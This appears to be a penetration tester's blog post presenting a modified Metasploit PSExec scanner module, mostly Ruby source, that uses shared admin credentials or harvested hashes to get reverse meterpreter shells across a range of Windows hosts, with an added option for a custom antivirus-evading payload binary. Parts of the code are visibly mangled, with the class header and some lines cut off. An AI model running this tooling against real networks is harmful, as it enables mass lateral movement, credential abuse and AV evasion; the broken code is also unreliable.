Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.
I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.
Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.
Below is the original script with my edits/additions highlighted. You can download the edited script here
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Slightly modified by pipefish to add the EXE::Custom option
require 'msf/core'
require 'rex'
class Metasploit3 'Auxiliary PSExec Scanner',
'Description' => %q{
PSExec scanner module that will run a psexec attack against a range of hosts
using either a set of credentials provided or the credential saved in the
current workspace database.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez '],
'Version' => '$Revision$'
))
register_options(
[
OptString.new('SMBUser', [false, 'SMB Username', nil]),
OptString.new('SMBPass', [false, 'SMB Password', nil]),
OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
OptString.new('SHARE', [ true,
"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
OptString.new('PAYLOAD', [true, 'Payload to use against Windows host',
"windows/meterpreter/reverse_tcp"]),
OptEnum.new('TYPE', [false,
'Type of credentials to use, manual for provided one, db for those found on the database',
'manual', ['db','manual']]),
OptString.new('OPTIONS',
[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
""]),
OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),
OptBool.new('HANDLER',
[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
], self.class)
# no need for it
deregister_options('RPORT')
end
def setup()
# Set variables
pay_name = datastore['PAYLOAD']
lhost = datastore['LHOST']
lport = datastore['LPORT']
opts = datastore['OPTIONS']
if datastore['TYPE'] == "db"
print_status("Using the credentials found in the workspace database")
collect_hashes()
else
print_status("Using the username and password provided")
end
@pay = create_payload(pay_name,lhost,lport,opts)
create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
end
# Run Method for when run command is issued
def run_host(ip)
if check_port(ip)
if datastore['TYPE'] == "manual"
if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
user = datastore['SMBUser']
pass = datastore['SMBPass']
dom = datastore['SMBDomain']
payload = datastore['PAYLOAD']
custexe = datastore['EXE::Custom']
print_status("Trying #{user}:#{pass}")
psexec(ip,user,pass,dom,payload,custexe)
return
end
else
@creds.each do |c|
user,pass = c.split(" ")
dom = datastore['SMBDomain']
payload = datastore['PAYLOAD']
custexe = datastore['EXE::Custom']
print_status("Trying #{user}:#{pass}")
psexec(ip,user,pass,dom,payload,custexe)
end
end
else
return
end
end
## Run psexec on a given IP
def psexec(ip,user,pass,dom,payload,custexe)
psexec = framework.modules.create("exploit/windows/smb/psexec")
psexec.share_datastore(@pay.datastore)
psexec.datastore['PAYLOAD'] = payload
psexec.datastore['MODULE_OWNER'] = self.owner
psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
psexec.datastore['RHOST'] = ip
psexec.datastore['SMBUser'] = user
psexec.datastore['SMBPass'] = pass
psexec.datastore['SMBDomain'] = dom
if not datastore['EXE::Custom'].nil?
psexec.datastore['EXE::Custom'] = custexe
end
psexec.datastore['SHARE'] = datastore['SHARE']
psexec.datastore['RPORT'] = 445
psexec.datastore['ExitOnSession'] = false
psexec.datastore['DisablePayloadHandler'] = false
psexec.datastore['EXITFUNC'] = 'process'
psexec.datastore['VERBOSE'] = true
psexec.datastore['DisablePayloadHandler'] = true
psexec.datastore['ForceBlocking'] = true
psexec.options.validate(psexec.datastore)
psexec.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Payload' => payload,
'Target' => 0,
'ForceBlocking' => true,
'RunAsJob' => false)
Rex::ThreadSafe.sleep(4)
end
def check_port(ip)
status = false
timeout = 1000
port = 445
begin
s = connect(false,
{
'RPORT' => 445,
'RHOST' => ip,
'ConnectTimeout' => (timeout / 1000.0)
}
)
print_status("#{ip}:#{port} - TCP OPEN")
status = true
rescue ::Rex::ConnectionRefused
vprint_status("#{ip}:#{port} - TCP closed")
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
ensure
disconnect(s) rescue nil
end
return status
end
def collect_hashes
type = "smb_hash|password"
@creds = []
print_status("Collecting Hashes from the DB")
framework.db.workspace.creds.each do |cred|
if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
@creds < mul.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
else
print_error("Could not start handler!")
end
end
end